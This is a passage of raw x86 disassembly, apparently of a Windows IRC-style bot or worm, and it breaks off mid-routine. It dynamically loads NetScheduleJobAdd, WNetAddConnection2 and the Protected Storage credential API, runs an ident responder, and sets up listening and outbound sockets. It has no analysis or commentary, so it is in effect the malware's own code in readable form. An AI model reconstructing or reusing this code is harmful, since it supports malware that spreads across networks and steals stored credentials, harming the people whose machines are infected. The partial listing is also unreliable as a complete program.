		push	ebx
		mov	dword_4191FC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	ebx
		mov	dword_419200, eax
		call	esi	; GetProcAddress
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	ebx
		mov	dword_419204, eax
		call	esi	; GetProcAddress
		mov	dword_419208, eax


loc_402E24:				; CODE XREF: sub_402D7B+32j
		push	offset aMpr_dll	; "mpr.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402E65
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	ebx
		mov	dword_41920C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	ebx
		mov	dword_419210, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	ebx
		mov	dword_419214, eax
		call	esi	; GetProcAddress
		mov	dword_419218, eax


loc_402E65:				; CODE XREF: sub_402D7B+B4j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	edi	; LoadLibraryA
		mov	ebx, eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	ebx
		call	esi	; GetProcAddress
		push	offset aGetnameinfo ; "getnameinfo"
		push	ebx
		mov	dword_419224, eax
		call	esi	; GetProcAddress
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	ebx
		mov	dword_419228, eax
		call	esi	; GetProcAddress
		cmp	dword_419224, 0
		mov	dword_41922C, eax
		pop	ebx
		jz	short loc_402EAC
		cmp	dword_419228, 0
		jz	short loc_402EAC
		test	eax, eax
		jnz	short loc_402ECA


loc_402EAC:				; CODE XREF: sub_402D7B+122j
					; sub_402D7B+12Bj
		mov	dword_419224, offset sub_402A12
		mov	dword_419228, offset sub_402C11
		mov	dword_41922C, offset sub_402D67


loc_402ECA:				; CODE XREF: sub_402D7B+12Fj
		push	offset aPstorec_dll ; "pstorec.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EE2
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_419220, eax


loc_402EE2:				; CODE XREF: sub_402D7B+158j
		push	offset aWininet_dll ; "wininet.dll"
		call	edi	; LoadLibraryA
		test	eax, eax
		jz	short loc_402EFA
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	eax
		call	esi	; GetProcAddress
		mov	dword_41921C, eax


loc_402EFA:				; CODE XREF: sub_402D7B+170j
		pop	edi
		pop	esi
		retn
sub_402D7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EFD	proc near		; DATA XREF: sub_4030A7+65o

var_121C	= byte ptr -121Ch
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_212		= byte ptr -212h
var_6C		= byte ptr -6Ch
var_48		= byte ptr -48h
var_24		= byte ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 121Ch
		call	sub_411540
		push	ebx
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_218]
		push	1
		push	eax
		call	sub_403644
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jnz	short loc_402F51
		push	[ebp+var_21C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_4030A2
; ---------------------------------------------------------------------------


loc_402F51:				; CODE XREF: sub_402EFD+3Fj
		push	esi
		lea	eax, [ebp+var_218]
		push	edi
		push	eax
		mov	eax, [ebp+var_21C]
		push	dword ptr [eax]
		lea	eax, [ebp+var_212]
		push	offset dword_4139C0
		push	eax
		call	sub_4096CB
		mov	esi, 3E8h
		push	esi
		push	ebx
		call	sub_403767
		add	esp, 18h


loc_402F82:				; CODE XREF: sub_402EFD+189j
		mov	edi, eax
		mov	eax, [ebp+var_21C]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40308B
		test	edi, edi
		jz	loc_40308B
		cmp	edi, 0FFFFFFFFh
		jz	loc_40307D
		lea	eax, [ebp+var_121C]
		push	1000h
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403076
		cmp	eax, 0FFFFFFFFh
		jz	loc_403076
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114BE	; strlen
		cmp	eax, 10h
		pop	ecx
		ja	loc_403076
		cmp	byte_41A268, 0
		jz	short loc_402FFC
		lea	eax, [ebp+var_24]
		push	offset byte_41A268
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40301E
; ---------------------------------------------------------------------------


loc_402FFC:				; CODE XREF: sub_402EFD+EBj
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_404A70
		lea	eax, [ebp+var_24]
		push	eax
		push	offset byte_41A268
		call	sub_4114B8	; _mbscpy
		add	esp, 14h


loc_40301E:				; CODE XREF: sub_402EFD+FDj
		lea	eax, [ebp+var_121C]
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_121C]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		push	edi
		call	sub_403D9D
		push	edi
		call	sub_403D70
		add	esp, 2Ch
		jmp	short loc_40307D
; ---------------------------------------------------------------------------


loc_403076:				; CODE XREF: sub_402EFD+BFj
					; sub_402EFD+C8j ...
		push	edi
		call	sub_403D70
		pop	ecx


loc_40307D:				; CODE XREF: sub_402EFD+A2j
					; sub_402EFD+177j
		push	esi
		push	ebx
		call	sub_403767
		pop	ecx
		pop	ecx
		jmp	loc_402F82
; ---------------------------------------------------------------------------


loc_40308B:				; CODE XREF: sub_402EFD+91j
					; sub_402EFD+99j
		push	ebx
		call	sub_40392A
		push	[ebp+var_21C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi


loc_4030A2:				; CODE XREF: sub_402EFD+4Fj
		pop	ebx
		leave
		retn	4
sub_402EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A7	proc near		; CODE XREF: sub_407A76+92Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_4030BC
		push	ebx
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jnz	short loc_4030C1


loc_4030BC:				; CODE XREF: sub_4030A7+8j
		mov	ebx, offset dword_413A14


loc_4030C1:				; CODE XREF: sub_4030A7+13j
		push	1ADh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40311A
		push	edi
		push	6
		lea	eax, [esi+4]
		push	ebx
		push	eax
		call	sub_4059C2
		mov	edi, [esp+18h+arg_0]
		lea	eax, [esi+0Ah]
		push	edi
		push	eax
		call	sub_40457C
		add	esp, 14h
		test	edi, edi
		jz	short loc_403101
		cmp	byte ptr [edi+18Bh], 0
		jz	short loc_403101
		xor	eax, eax
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_403101:				; CODE XREF: sub_4030A7+4Bj
					; sub_4030A7+54j
		push	1
		pop	eax


loc_403104:				; CODE XREF: sub_4030A7+58j
		push	ebx
		push	offset dword_4139F4
		push	eax
		push	esi
		push	offset sub_402EFD
		call	sub_406D58
		add	esp, 14h
		pop	edi


loc_40311A:				; CODE XREF: sub_4030A7+29j
		pop	esi
		pop	ebx
		retn
sub_4030A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40311D	proc near		; CODE XREF: sub_40C135+5Ep
					; sub_40CAA1+133p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		mov	esi, 104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset dword_413A2C
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_104]
		push	esi
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	eax
		push	0
		push	0
		call	dword_412058	; MultiByteToWideChar
		pop	esi
		leave
		retn
sub_40311D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40315E	proc near		; CODE XREF: sub_403EA9+539p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	edx, edx
		cmp	esi, 1
		jbe	short loc_403182
		mov	eax, [esp+4+arg_0]
		mov	ecx, esi
		push	edi
		shr	ecx, 1


loc_403173:				; CODE XREF: sub_40315E+1Fj
		movzx	edi, word ptr [eax]
		add	edx, edi
		inc	eax
		inc	eax
		dec	esi
		dec	esi
		dec	ecx
		jnz	short loc_403173
		pop	edi
		jmp	short loc_403186
; ---------------------------------------------------------------------------


loc_403182:				; CODE XREF: sub_40315E+Aj
		mov	eax, [esp+4+arg_0]


loc_403186:				; CODE XREF: sub_40315E+22j
		test	esi, esi
		pop	esi
		jz	short loc_403190
		movzx	eax, byte ptr [eax]
		add	edx, eax


loc_403190:				; CODE XREF: sub_40315E+2Bj
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40315E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031A7	proc near		; CODE XREF: sub_403EA9+520p
					; sub_407A76+F8Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		dec	eax
		push	esi
		dec	eax
		push	edi
		mov	ebx, 0FEh
		jz	short loc_4031F0
		dec	eax
		jz	short loc_4031D4
		dec	eax
		jnz	short loc_40320C
		push	ebx
		push	1
		call	sub_40B459
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		and	al, 0
		pop	ecx
		or	edi, eax
		jmp	short loc_4031D7
; ---------------------------------------------------------------------------


loc_4031D4:				; CODE XREF: sub_4031A7+13j
		mov	edi, [ebp+arg_0]


loc_4031D7:				; CODE XREF: sub_4031A7+2Bj
		push	ebx
		push	1
		call	sub_40B459
		mov	esi, eax
		pop	ecx
		shl	esi, 8
		and	edi, 0FFFF00FFh
		pop	ecx
		or	esi, edi
		jmp	short loc_4031F3
; ---------------------------------------------------------------------------


loc_4031F0:				; CODE XREF: sub_4031A7+10j
		mov	esi, [ebp+arg_0]


loc_4031F3:				; CODE XREF: sub_4031A7+47j
		push	ebx
		push	1
		call	sub_40B459
		mov	edi, eax
		pop	ecx
		shl	edi, 10h
		and	esi, 0FF00FFFFh
		pop	ecx
		or	edi, esi
		jmp	short loc_40320F
; ---------------------------------------------------------------------------


loc_40320C:				; CODE XREF: sub_4031A7+16j
		mov	edi, [ebp+arg_0]


loc_40320F:				; CODE XREF: sub_4031A7+63j
		push	ebx
		push	1
		call	sub_40B459
		pop	ecx
		and	edi, 0FFFFFFh
		shl	eax, 18h
		pop	ecx
		or	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4031A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403229	proc near		; CODE XREF: sub_4032D2+Ap
					; sub_40338B+13p

arg_0		= dword	ptr  4

		push	0Ah
		push	[esp+4+arg_0]
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		retn
sub_403229	endp


; =============== S U B	R O U T	I N E =======================================



sub_40324A	proc near		; CODE XREF: sub_409918+479p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	4
		push	offset dword_413A50
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403268


loc_403263:				; CODE XREF: sub_40324A+30j
					; sub_40324A+44j
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403268:				; CODE XREF: sub_40324A+17j
		push	4
		push	offset dword_413A48
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403263
		push	8
		push	offset dword_413A3C
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403263
		push	3
		push	offset dword_413A38
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		pop	esi
		inc	eax
		retn
sub_40324A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032A7	proc near		; CODE XREF: sub_402230+173p
					; sub_4030A7+Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax


loc_4032AD:				; CODE XREF: sub_4032A7+10j
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_4032BC
		inc	eax
		cmp	eax, 6
		jnz	short loc_4032AD


loc_4032B9:				; CODE XREF: sub_4032A7+1Ej
					; sub_4032A7+25j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4032BC:				; CODE XREF: sub_4032A7+Aj
		push	ecx
		call	sub_41151C	; atoi
		test	eax, eax
		pop	ecx
		jz	short loc_4032B9
		cmp	eax, 0FFFFh
		ja	short loc_4032B9
		push	1
		pop	eax
		retn
sub_4032A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032D2	proc near		; CODE XREF: sub_403338+9p
					; sub_40656A:loc_406696p ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_403229
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_403644
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_4032FA
		push	1
		pop	eax
		jmp	short loc_403330
; ---------------------------------------------------------------------------


loc_4032FA:				; CODE XREF: sub_4032D2+21j
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset dword_41A2E8
		call	sub_403C04
		push	esi
		mov	edi, eax
		call	sub_40392A
		add	esp, 14h
		test	edi, edi
		jz	short loc_403333
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403333
		push	edi
		xor	esi, esi
		call	sub_403D92
		pop	ecx


loc_40332D:				; CODE XREF: sub_4032D2+64j
		mov	eax, esi
		pop	edi


loc_403330:				; CODE XREF: sub_4032D2+26j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_403333:				; CODE XREF: sub_4032D2+4Bj
					; sub_4032D2+50j
		push	1
		pop	esi
		jmp	short loc_40332D
sub_4032D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_403338	proc near		; CODE XREF: sub_40DE4C+1p
					; sub_40EE23+182p ...
		cmp	dword_419634, 0
		jnz	short loc_403360
		call	sub_4032D2
		push	eax
		push	offset dword_419638
		call	sub_407227
		push	1
		push	offset dword_419634
		call	sub_407227
		add	esp, 10h


loc_403360:				; CODE XREF: sub_403338+7j
		mov	eax, dword_419638
		retn
sub_403338	endp


; =============== S U B	R O U T	I N E =======================================



sub_403366	proc near		; CODE XREF: sub_40338B+6p
					; sub_403644+36p
		push	esi
		push	0
		push	1
		push	17h
		call	dword_41222C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403381
		push	esi
		call	sub_403D92
		pop	ecx


loc_403381:				; CODE XREF: sub_403366+12j
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		setnz	al
		pop	esi
		retn
sub_403366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40338B	proc near		; CODE XREF: sub_405FF3:loc_40617Dp

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_403366
		test	eax, eax
		jz	short loc_4033B7
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_403229
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_403644
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_4033BB


loc_4033B7:				; CODE XREF: sub_40338B+Dj
		xor	eax, eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033BB:				; CODE XREF: sub_40338B+2Aj
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_413A64
		call	sub_403C04
		push	esi
		mov	edi, eax
		call	sub_40392A
		add	esp, 14h
		test	edi, edi
		jz	short loc_4033F5
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4033F5
		push	1
		pop	esi
		push	edi
		call	sub_403D92
		pop	ecx


loc_4033EF:				; CODE XREF: sub_40338B+6Cj
		mov	eax, esi
		pop	edi


loc_4033F2:				; CODE XREF: sub_40338B+2Ej
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4033F5:				; CODE XREF: sub_40338B+53j
					; sub_40338B+58j
		xor	esi, esi
		jmp	short loc_4033EF
sub_40338B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033F9	proc near		; CODE XREF: sub_40656A:loc_40667Dp
					; sub_408E1A+196p ...

var_14		= byte ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		lea	eax, [ebp+var_14]
		push	offset dword_413A18
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B5E1
		push	7D0h
		push	2
		lea	eax, [ebp+var_14]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_403447
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403447
		push	1
		pop	esi
		push	eax
		call	sub_403D92
		pop	ecx


loc_403442:				; CODE XREF: sub_4033F9+50j
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_403447:				; CODE XREF: sub_4033F9+38j
					; sub_4033F9+3Dj
		xor	esi, esi
		jmp	short loc_403442
sub_4033F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40344B	proc near		; CODE XREF: sub_403B44+7Dp
					; sub_403C04+ABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		setz	al
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_412228	; ioctlsocket
		pop	ebp
		retn
sub_40344B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40346D	proc near		; CODE XREF: sub_40544F+1C5p
					; sub_40544F+200p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_412228	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		setnz	al
		pop	ebp
		retn
sub_40346D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40348C	proc near		; CODE XREF: sub_409918+467p
					; sub_40DE9A+54p

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4034B9:				; CODE XREF: sub_40348C+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_419228	; getnameinfo
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40348C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034DE	proc near		; CODE XREF: sub_40544F+B2p
					; sub_40E6A0+24p ...

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40350B
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40350B:				; CODE XREF: sub_4034DE+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_419228	; getnameinfo
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4034DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403530	proc near		; CODE XREF: sub_40ECD6+8Fp
					; sub_410C55+182p

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40355D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40355D:				; CODE XREF: sub_403530+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_403530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40357F	proc near		; CODE XREF: sub_40F9C9+142p
					; sub_410C55+14Ap

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035AC
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4035AC:				; CODE XREF: sub_40357F+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_40357F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035CE	proc near		; CODE XREF: sub_409918+516p

var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jnz	short loc_40363F
		mov	esi, [ebp+arg_0]


loc_4035F0:				; CODE XREF: sub_4035CE+51j
		test	esi, esi
		jz	short loc_403636
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_404]
		push	401h
		push	eax
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		call	dword_419228	; getnameinfo
		test	eax, eax
		jnz	short loc_40361C
		cmp	dword ptr [esi+4], 2
		jz	short loc_403621


loc_40361C:				; CODE XREF: sub_4035CE+46j
		mov	esi, [esi+1Ch]
		jmp	short loc_4035F0
; ---------------------------------------------------------------------------


loc_403621:				; CODE XREF: sub_4035CE+4Cj
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	al, 1
		pop	ecx
		jmp	short loc_403641
; ---------------------------------------------------------------------------


loc_403636:				; CODE XREF: sub_4035CE+24j
		push	[ebp+arg_0]
		call	dword_41922C	; freeaddrinfo


loc_40363F:				; CODE XREF: sub_4035CE+1Dj
		xor	al, al


loc_403641:				; CODE XREF: sub_4035CE+66j
		pop	esi
		leave
		retn
sub_4035CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403644	proc near		; CODE XREF: sub_401B81+D4p
					; sub_402EFD+33p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	edi
		push	1008h
		call	sub_4114C4	; malloc
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40375D
		push	20h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[edi], ebx
		mov	[edi+804h], ebx
		call	sub_4114E8	; memset
		add	esp, 0Ch
		call	sub_403366
		neg	eax
		sbb	eax, eax
		mov	[ebp+var_1C], 1
		and	al, 0FEh
		mov	[ebp+var_24], 5
		inc	eax
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_0]
		push	ebx
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jnz	loc_403756
		push	esi
		mov	esi, [ebp+var_4]
		cmp	esi, ebx
		jz	loc_403748


loc_4036BE:				; CODE XREF: sub_403644+FCj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40373B
		mov	eax, [esi+4]
		cmp	eax, 2
		jz	short loc_4036E1
		cmp	eax, 17h
		jnz	short loc_40373B


loc_4036E1:				; CODE XREF: sub_403644+96j
		test	[ebp+arg_4], 2
		jz	short loc_403702
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+arg_0], 1
		call	dword_412218	; setsockopt


loc_403702:				; CODE XREF: sub_403644+A1j
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	ebx
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403722
		push	32h
		push	ebx
		call	dword_412278	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40372B


loc_403722:				; CODE XREF: sub_403644+CEj
		push	ebx
		call	sub_403D92
		pop	ecx
		jmp	short loc_40373B
; ---------------------------------------------------------------------------


loc_40372B:				; CODE XREF: sub_403644+DCj
		mov	eax, [edi]
		mov	[edi+eax*4+4], ebx
		inc	dword ptr [edi]
		cmp	dword ptr [edi], 200h
		jz	short loc_403746


loc_40373B:				; CODE XREF: sub_403644+8Ej
					; sub_403644+9Bj ...
		mov	esi, [esi+1Ch]
		test	esi, esi
		jnz	loc_4036BE


loc_403746:				; CODE XREF: sub_403644+F5j
		xor	ebx, ebx


loc_403748:				; CODE XREF: sub_403644+74j
		push	[ebp+var_4]
		call	dword_41922C	; freeaddrinfo
		cmp	[edi], ebx
		pop	esi
		jnz	short loc_403761


loc_403756:				; CODE XREF: sub_403644+68j
		push	edi
		call	sub_4114CA	; free
		pop	ecx


loc_40375D:				; CODE XREF: sub_403644+19j
		xor	eax, eax
		jmp	short loc_403763
; ---------------------------------------------------------------------------


loc_403761:				; CODE XREF: sub_403644+110j
		mov	eax, edi


loc_403763:				; CODE XREF: sub_403644+11Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_403644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403767	proc near		; CODE XREF: sub_401B81+18Fp
					; sub_402EFD+7Dp ...

var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	[ebp+var_8], 80h
		cmp	dword ptr [esi], 0
		jbe	loc_40380C
		lea	edi, [esi+4]


loc_40378D:				; CODE XREF: sub_403767+A3j
		lea	ebx, [esi+804h]
		push	ebx
		push	dword ptr [edi]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4037FF
		mov	edx, [ebx]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_4037E3
		mov	ebx, [edi]
		lea	eax, [esi+808h]


